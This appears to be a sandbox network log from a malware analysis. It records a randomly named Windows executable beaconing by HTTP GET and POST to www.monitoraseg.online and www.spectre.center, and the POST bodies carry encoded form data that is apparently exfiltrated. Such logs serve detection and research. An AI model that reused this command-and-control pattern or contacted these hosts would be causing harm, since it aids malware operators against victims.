                                                                                                                                                                              Oct 2, 2024 15:18:01.788247108 CEST1236INData Raw: 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 31 20 73 74 72 6f 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20
                                                                                                                                                                              Data Ascii: border-bottom: 2px solid #000; } h1 strong { font-weight: bold; font-size: 1.5em; } h2 { text-align: center; background-color:
                                                                                                                                                                              Oct 2, 2024 15:18:01.788258076 CEST448INData Raw: 3c 68 31 3e 3c 73 74 72 6f 6e 67 3e 6e 67 69 6e 78 20 65 72 72 6f 72 21 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 68 31 3e 0a 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20
                                                                                                                                                                              Data Ascii: <h1><strong>nginx error!</strong></h1> <div class="content"> <h3>The page you are looking for is not found.</h3> <div class="alert"> <h2>Website Administrator</h2> <div class="
                                                                                                                                                                              Oct 2, 2024 15:18:01.849459887 CEST903INData Raw: 69 62 75 74 65 64 20 77 69 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 46 65 64 6f 72 61 2e 20 20 49 74 20 69 73 20 6c 6f 63 61 74 65 64 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 74 74 3e 2f 75 73
                                                                                                                                                                              Data Ascii: ibuted with Fedora. It is located <tt>/usr/share/nginx/html/404.html</tt></p> <p>You should customize this error page for your own site or edit the <tt>error_pag


                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                              28192.168.2.749734162.240.81.18806760C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe
                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                              Oct 2, 2024 15:18:04.069216967 CEST512OUTGET /l90v/?PDnL0H4=tj7s0oyrGc1LrDSGnf8YHtw+ebsKDrOBu6GSmYGqVaA9KTCtf5t4TDr3lhx61sWDy3u5CDLnPKwXwDtlkJUkQXT0jCihCdlrSRGn+EUQa4fXC4BrJZGRQFbKceI3GDyLA2ga/kBrekJs&cJ=eZx4P HTTP/1.1
                                                                                                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                              Accept-Language: en-US,en;q=0.5
                                                                                                                                                                              Host: www.monitoraseg.online
                                                                                                                                                                              Connection: close
                                                                                                                                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                              Oct 2, 2024 15:18:04.666271925 CEST1236INHTTP/1.1 404 Not Found
                                                                                                                                                                              Server: nginx/1.20.1
                                                                                                                                                                              Date: Wed, 02 Oct 2024 13:18:04 GMT
                                                                                                                                                                              Content-Type: text/html
                                                                                                                                                                              Content-Length: 3650
                                                                                                                                                                              Connection: close
                                                                                                                                                                              ETag: "663a05b6-e42"
                                                                                                                                                                              Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 54 68 65 20 70 61 67 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2a 3c [TRUNCATED]
                                                                                                                                                                              Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>The page is not found</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <style type="text/css"> /*<![CDATA[*/ body { background-color: #fff; color: #000; font-size: 0.9em; font-family: sans-serif,helvetica; margin: 0; padding: 0; } :link { color: #c00; } :visited { color: #c00; } a:hover { color: #f50; } h1 { text-align: center; margin: 0; padding: 0.6em 2em 0.4em; background-color: #294172; color: #fff; font-weight: norm [TRUNCATED]
                                                                                                                                                                              Oct 2, 2024 15:18:04.666290045 CEST224INData Raw: 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 32 70 78 20 73 6f 6c 69 64 20 23 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 31 20 73 74 72 6f 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20
                                                                                                                                                                              Data Ascii: border-bottom: 2px solid #000; } h1 strong { font-weight: bold; font-size: 1.5em; } h2 { text-align: center;
                                                                                                                                                                              Oct 2, 2024 15:18:05.300295115 CEST1236INData Raw: 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 33 43 36 45 42 34 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 31 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74
                                                                                                                                                                              Data Ascii: background-color: #3C6EB4; font-size: 1.1em; font-weight: bold; color: #fff; margin: 0; padding: 0.5em; border-bottom: 2px solid #294172;
                                                                                                                                                                              Oct 2, 2024 15:18:05.300698996 CEST1127INData Raw: 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 3e 53 6f 6d 65 74 68 69 6e 67 20 68 61 73 20 74 72 69 67 67 65 72 65 64 20 6d 69 73 73 69 6e
                                                                                                                                                                              Data Ascii: <div class="content"> <p>Something has triggered missing webpage on your website. This is the default 404 error page for <strong>nginx</strong> that is distributed with


                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                              29192.168.2.7497355.39.10.93806760C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe
                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                              Oct 2, 2024 15:18:10.406963110 CEST776OUTPOST /mfnh/ HTTP/1.1
                                                                                                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                              Accept-Encoding: gzip, deflate
                                                                                                                                                                              Accept-Language: en-US,en;q=0.5
                                                                                                                                                                              Host: www.spectre.center
                                                                                                                                                                              Origin: http://www.spectre.center
                                                                                                                                                                              Referer: http://www.spectre.center/mfnh/
                                                                                                                                                                              Cache-Control: max-age=0
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Content-Length: 220
                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                              Data Raw: 50 44 6e 4c 30 48 34 3d 6a 67 34 79 78 4b 41 36 6b 39 43 46 46 69 56 6c 79 51 2f 53 66 44 7a 46 6c 31 67 42 7a 6c 63 69 55 70 65 75 48 55 69 52 65 2b 36 36 33 45 41 76 79 39 31 6f 76 51 2b 38 2f 4f 6c 43 6a 50 48 75 4e 76 53 53 53 4c 54 41 72 50 38 77 43 58 46 51 7a 69 41 57 46 73 66 68 37 5a 47 43 61 54 61 43 47 79 75 65 32 69 73 61 48 5a 53 61 67 5a 67 63 2b 48 6a 50 34 33 73 31 4c 30 75 5a 4f 58 47 79 6b 67 65 69 4d 72 43 4d 7a 5a 2f 70 76 4a 46 2b 64 6b 6d 49 44 37 41 55 72 46 79 50 6c 74 53 42 4e 44 52 51 74 42 43 5a 45 63 59 55 53 76 35 46 69 4a 2b 62 59 52 56 58 68 4b 6c 46 61 57 50 6a 70 2b 4e 44 67 59 61 75 2b 34 75 41 51 71 6a 74 58 77 3d 3d
                                                                                                                                                                              Data Ascii: PDnL0H4=jg4yxKA6k9CFFiVlyQ/SfDzFl1gBzlciUpeuHUiRe+663EAvy91ovQ+8/OlCjPHuNvSSSLTArP8wCXFQziAWFsfh7ZGCaTaCGyue2isaHZSagZgc+HjP43s1L0uZOXGykgeiMrCMzZ/pvJF+dkmID7AUrFyPltSBNDRQtBCZEcYUSv5FiJ+bYRVXhKlFaWPjp+NDgYau+4uAQqjtXw==
                                                                                                                                                                              Oct 2, 2024 15:18:11.202374935 CEST354INHTTP/1.1 403 Forbidden
                                                                                                                                                                              Server: nginx
                                                                                                                                                                              Date: Wed, 02 Oct 2024 13:18:10 GMT
                                                                                                                                                                              Content-Type: text/html
                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Content-Encoding: gzip
                                                                                                                                                                              Data Raw: 61 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0e c2 30 0c 44 77 24 fe c1 7c 40 14 10 8c 56 16 04 12 03 13 5f 90 62 d3 44 4a 9d ca 64 a0 7f 4f 0a ad 84 98 19 19 7d f7 ee 74 32 86 d2 25 b7 5c 60 60 4f 0e 4b 2c 89 dd 6e bd 85 63 d6 26 12 b1 a0 7d 8b 68 5f 48 45 9b 4c c3 18 b9 b2 14 56 87 61 f3 9d a8 0a da c9 1e bb 2b 34 5d d2 46 79 7c 7a 76 6e b3 f3 92 95 31 e0 a1 f7 44 51 5a 28 19 28 de 7d 93 18 ce 97 d3 01 bc 10 ec 83 e6 8e e1 a6 91 85 d2 00 ac 9a b5 26 5a 06 63 c6 65 ff 8a 5f fe e2 09 5b 30 e7 0b 24 02 00 00 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                              Data Ascii: a90Dw$|@V_bDJdO}t2%\``OK,nc&}h_HELVa+4]Fy|zvn1DQZ((}&Zce_[0$0


                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                              30192.168.2.7497365.39.10.93806760C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe
                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                              Oct 2, 2024 15:18:12.946862936 CEST796OUTPOST /mfnh/ HTTP/1.1
                                                                                                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                              Accept-Encoding: gzip, deflate
                                                                                                                                                                              Accept-Language: en-US,en;q=0.5
                                                                                                                                                                              Host: www.spectre.center
                                                                                                                                                                              Origin: http://www.spectre.center
                                                                                                                                                                              Referer: http://www.spectre.center/mfnh/
                                                                                                                                                                              Cache-Control: max-age=0
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Content-Length: 240
                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                              Data Raw: 50 44 6e 4c 30 48 34 3d 6a 67 34 79 78 4b 41 36 6b 39 43 46 45 43 6c 6c 69 43 58 53 59 6a 7a 4b 37 6c 67 42 70 56 63 6d 55 70 53 75 48 55 4b 42 66 4d 75 36 30 6b 77 76 7a 2b 74 6f 38 67 2b 38 33 75 6c 39 6e 50 48 77 4e 76 65 67 53 4f 72 41 72 50 34 77 43 58 56 51 30 52 59 56 45 38 66 6e 79 35 47 63 65 54 61 43 47 79 75 65 32 69 35 4e 48 64 2b 61 68 70 51 63 73 32 6a 49 77 58 73 30 62 45 75 5a 45 48 47 32 6b 67 66 48 4d 70 6d 69 7a 61 48 70 76 4e 42 2b 64 78 47 4c 4b 37 41 53 32 31 79 66 6d 66 37 73 43 67 30 75 70 77 47 33 4b 75 30 53 61 35 6b 6e 34 72 79 33 47 41 74 73 6c 49 42 7a 4e 77 53 57 72 2f 4a 62 74 36 75 50 68 50 4c 71 64 34 43 70 42 50 78 42 6e 6b 6c 2f 6a 4e 71 7a 78 78 63 79 4f 79 56 69 6b 43 55 3d
                                                                                                                                                                              Data Ascii: PDnL0H4=jg4yxKA6k9CFEClliCXSYjzK7lgBpVcmUpSuHUKBfMu60kwvz+to8g+83ul9nPHwNvegSOrArP4wCXVQ0RYVE8fny5GceTaCGyue2i5NHd+ahpQcs2jIwXs0bEuZEHG2kgfHMpmizaHpvNB+dxGLK7AS21yfmf7sCg0upwG3Ku0Sa5kn4ry3GAtslIBzNwSWr/Jbt6uPhPLqd4CpBPxBnkl/jNqzxxcyOyVikCU=
                                                                                                                                                                              Oct 2, 2024 15:18:13.535244942 CEST354INHTTP/1.1 403 Forbidden
                                                                                                                                                                              Server: nginx
                                                                                                                                                                              Date: Wed, 02 Oct 2024 13:18:13 GMT
                                                                                                                                                                              Content-Type: text/html
                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Content-Encoding: gzip
                                                                                                                                                                              Data Raw: 61 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0e c2 30 0c 44 77 24 fe c1 7c 40 14 10 8c 56 16 04 12 03 13 5f 90 62 d3 44 4a 9d ca 64 a0 7f 4f 0a ad 84 98 19 19 7d f7 ee 74 32 86 d2 25 b7 5c 60 60 4f 0e 4b 2c 89 dd 6e bd 85 63 d6 26 12 b1 a0 7d 8b 68 5f 48 45 9b 4c c3 18 b9 b2 14 56 87 61 f3 9d a8 0a da c9 1e bb 2b 34 5d d2 46 79 7c 7a 76 6e b3 f3 92 95 31 e0 a1 f7 44 51 5a 28 19 28 de 7d 93 18 ce 97 d3 01 bc 10 ec 83 e6 8e e1 a6 91 85 d2 00 ac 9a b5 26 5a 06 63 c6 65 ff 8a 5f fe e2 09 5b 30 e7 0b 24 02 00 00 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                              Data Ascii: a90Dw$|@V_bDJdO}t2%\``OK,nc&}h_HELVa+4]Fy|zvn1DQZ((}&Zce_[0$0


                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                              31192.168.2.7497375.39.10.93806760C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe
                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                              Oct 2, 2024 15:18:15.499357939 CEST1809OUTPOST /mfnh/ HTTP/1.1
                                                                                                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                              Accept-Encoding: gzip, deflate
                                                                                                                                                                              Accept-Language: en-US,en;q=0.5
                                                                                                                                                                              Host: www.spectre.center
                                                                                                                                                                              Origin: http://www.spectre.center
                                                                                                                                                                              Referer: http://www.spectre.center/mfnh/
                                                                                                                                                                              Cache-Control: max-age=0
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Content-Length: 1252
                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                              Data Raw: 50 44 6e 4c 30 48 34 3d 6a 67 34 79 78 4b 41 36 6b 39 43 46 45 43 6c 6c 69 43 58 53 59 6a 7a 4b 37 6c 67 42 70 56 63 6d 55 70 53 75 48 55 4b 42 66 4d 57 36 30 57 34 76 7a 65 52 6f 74 51 2b 38 39 4f 6c 47 6e 50 47 31 4e 76 57 6b 53 50 57 37 72 4e 77 77 44 30 74 51 31 6b 30 56 4c 38 66 6e 2f 5a 47 42 61 54 62 41 47 79 2b 61 32 69 70 4e 48 64 2b 61 68 72 34 63 38 33 6a 49 39 33 73 31 4c 30 75 64 4f 58 47 4f 6b 6b 7a 39 4d 70 6a 58 7a 4c 6e 70 76 74 52 2b 59 43 75 4c 42 37 41 71 6d 6c 7a 41 6d 66 6e 76 43 67 70 66 70 77 69 64 4b 74 6b 53 5a 4f 68 4d 38 49 47 6e 54 52 68 7a 71 4c 35 65 46 51 36 68 79 70 46 54 73 61 53 4f 6b 76 44 2b 46 35 79 6e 56 36 4d 4e 2f 43 63 4d 6c 5a 69 77 67 55 31 39 4b 41 56 45 6e 46 51 73 36 46 6f 56 4a 36 55 38 46 32 4d 55 50 54 55 4e 2f 73 47 48 6b 46 74 53 5a 71 38 35 6c 54 6d 77 65 2f 6f 44 73 51 68 6e 49 46 79 53 35 48 30 66 49 33 4c 56 4c 78 35 5a 43 34 77 76 6f 2b 78 6e 50 71 62 4b 68 64 64 73 37 35 43 6d 54 4c 68 4e 2b 33 36 6b 55 46 7a 67 74 6b 79 57 68 6a 6a 4a 6b 7a [TRUNCATED]
                                                                                                                                                                              Data Ascii: PDnL0H4=jg4yxKA6k9CFEClliCXSYjzK7lgBpVcmUpSuHUKBfMW60W4vzeRotQ+89OlGnPG1NvWkSPW7rNwwD0tQ1k0VL8fn/ZGBaTbAGy+a2ipNHd+ahr4c83jI93s1L0udOXGOkkz9MpjXzLnpvtR+YCuLB7AqmlzAmfnvCgpfpwidKtkSZOhM8IGnTRhzqL5eFQ6hypFTsaSOkvD+F5ynV6MN/CcMlZiwgU19KAVEnFQs6FoVJ6U8F2MUPTUN/sGHkFtSZq85lTmwe/oDsQhnIFyS5H0fI3LVLx5ZC4wvo+xnPqbKhdds75CmTLhN+36kUFzgtkyWhjjJkzYswEcE5w6Q9tg8ibPxMip1QC8uAL6QRJhahOVoF5J5b+yFJe8AG/XjDzjF7Fbu6HMV1QnGRAtgv+bUdO+nNY61v//O7iSSSoTsaCkYGu9yqTZBUMeATWcE+/1Ylip4c5a/mY7wnFT3PmXUrCsdDDJPR6x1zy/t/HNZCqk7FbDBIgrFfmOGcRVpFNqA5KnYqzN/C9JXj/1DmE1BdJpKGyvP44yfWQFCBJU2nHXReDZaMo77pkF9x+tTFSQjTxS+bdr/hSVLpI0NUEDkbn9sBiQVVIMFPg4N7yz7ShCuqEHt9QB9TXoSiPUG6IcYGUiMKj7jqcKi5uAxae/0Q06jysJ/8uEGWKQbF4HNO/ECY8AZOoPUSKzEN+fxoZVJl0M9ofhMBdddOAq3gUFBXeg2ZsVO44fcdyAGQq554QX9R2SI/lb+iXXRiUKoH8w4MxzJkSl8dTJjdzDASHO4D6Xlv4+WQRl3zseJpC8k5NwP4cJeNk1kTaPna5DUgfcHoqTlD1+VYN2J4Dotir0gjkmjBs7+tG4MSzrFtzZih5oiC1EMc9ZlVXzpkeu4cIEaDH8jcM1IdZEM3aviPa0GoQJ2Q0ttJXrxKhaKNYl3nH4BFwmdTQUaPxZG3Gh28bqEdoqJ2bHSROYIqzr3vZjmEHI2CUCam8j6S3fg1W1F [TRUNCATED]
                                                                                                                                                                              Oct 2, 2024 15:18:16.090841055 CEST354INHTTP/1.1 403 Forbidden
                                                                                                                                                                              Server: nginx
                                                                                                                                                                              Date: Wed, 02 Oct 2024 13:18:15 GMT
                                                                                                                                                                              Content-Type: text/html
                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Content-Encoding: gzip
                                                                                                                                                                              Data Raw: 61 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0e c2 30 0c 44 77 24 fe c1 7c 40 14 10 8c 56 16 04 12 03 13 5f 90 62 d3 44 4a 9d ca 64 a0 7f 4f 0a ad 84 98 19 19 7d f7 ee 74 32 86 d2 25 b7 5c 60 60 4f 0e 4b 2c 89 dd 6e bd 85 63 d6 26 12 b1 a0 7d 8b 68 5f 48 45 9b 4c c3 18 b9 b2 14 56 87 61 f3 9d a8 0a da c9 1e bb 2b 34 5d d2 46 79 7c 7a 76 6e b3 f3 92 95 31 e0 a1 f7 44 51 5a 28 19 28 de 7d 93 18 ce 97 d3 01 bc 10 ec 83 e6 8e e1 a6 91 85 d2 00 ac 9a b5 26 5a 06 63 c6 65 ff 8a 5f fe e2 09 5b 30 e7 0b 24 02 00 00 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                              Data Ascii: a90Dw$|@V_bDJdO}t2%\``OK,nc&}h_HELVa+4]Fy|zvn1DQZ((}&Zce_[0$0


                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                              32192.168.2.7497385.39.10.93806760C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe
                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                              Oct 2, 2024 15:18:18.039576054 CEST508OUTGET /mfnh/?cJ=eZx4P&PDnL0H4=uiQSy69x68ywNzcc2xGZGS3b7G9Di2AmSZy7E0+wXNrf1UQY7cg94CWp6P5m0cawB8S+TLOh4cYPJlBKxEA2O4b/zKyvUiD5czmdoxMYCqiElO0H9mCQ9xUwX3LJfG6F/jT3KbKUs5js HTTP/1.1
                                                                                                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                              Accept-Language: en-US,en;q=0.5
                                                                                                                                                                              Host: www.spectre.center
                                                                                                                                                                              Connection: close
                                                                                                                                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                              Oct 2, 2024 15:18:18.666999102 CEST1236INHTTP/1.1 200 OK
                                                                                                                                                                              Server: nginx
                                                                                                                                                                              Date: Wed, 02 Oct 2024 13:18:18 GMT
                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Data Raw: 31 66 66 65 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 72 75 2d 52 55 22 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 3c 68 65 61 64 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 65 63 65 63 65 63 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 76 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 65 63 65 63 65 63 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9f d0 b0 d1 80 d0 ba d0 be d0 b2 d0 b0 20 d1 81 d1 82 d0 be d1 80 d1 96 d0 bd d0 ba d0 b0 20 49 6d 65 6e 61 2e 55 41 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e [TRUNCATED]
                                                                                                                                                                              Data Ascii: 1ffe2<!DOCTYPE html><html lang="ru-RU" prefix="og: http://ogp.me/ns#" class="no-js"><head> <meta name="theme-color" content="#ececec" /> <meta name="msapplication-navbutton-color" content="#ececec" /> <meta charset="UTF-8" /> <title> Imena.UA</title> <link rel="icon" type="image/png" href="//img.imena.ua/i/32.png" sizes="32x32"> <link rel="icon" type="image/png" href="//img.imena.ua/i/96.png" sizes="96x96"> <link href="https://fonts.googleapis.com/css?family=Open+Sans:400,700,300&subset=latin,cyrillic" rel="stylesheet" type="text/css" /> <meta name="viewport" content="user-scalable=0, width=device-width, initial-scale=1" /> <link rel="stylesheet" href="https://img.imena.ua/css/media-set.css" type="text/css" /> <style> .park_domain_info { margin: 0 auto; max-width: 650px; text-align: center; } .park_domain_info p { font-size: 16px; padding-b [TRUNCATED]
                                                                                                                                                                              Oct 2, 2024 15:18:18.667120934 CEST224INData Raw: 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 33 37 37 61 61 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65
                                                                                                                                                                              Data Ascii: e { font-size: 30px; color: #0377aa; } </style></head><body> <div class="layout"> <div class="header_nav"> <header> <div class="reducer">
                                                                                                                                                                              Oct 2, 2024 15:18:18.667140007 CEST1236INData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 65 61 64 65 72 5f 6c 20 6f 76 68 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77
                                                                                                                                                                              Data Ascii: <div class="header_l ovh"> <a href="https://www.imena.ua/" class="logo"> <img width="160" src="//img.imena.ua/i/logo_Imena_clean.svg" alt=""/> </a>
                                                                                                                                                                              Oct 2, 2024 15:18:18.667150974 CEST1236INData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 61 6e 67 5f 63 75 72 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c
                                                                                                                                                                              Data Ascii: <div class="lang_curr"> <a href="#" class="lang_ua">
                                                                                                                                                                              Oct 2, 2024 15:18:18.667169094 CEST1236INData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 72 61 64 69 6f 22 20 6e 61 6d 65 3d 22 68 5f 74 65 72 6d 22 20 76 61 6c 75 65 3d
                                                                                                                                                                              Data Ascii: <input type="radio" name="h_term" value="1" > <a href="https://www.imena.ua/en" class="lang_en">ENG</a> </div
                                                                                                                                                                              Oct 2, 2024 15:18:18.667180061 CEST1236INData Raw: 3e 2b 33 38 30 20 28 34 34 29 20 32 30 31 2d 30 31 2d 30 32 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69
                                                                                                                                                                              Data Ascii: >+380 (44) 201-01-02</a> </li> <li class="curr"> <a href="/"></a> </li> <li>
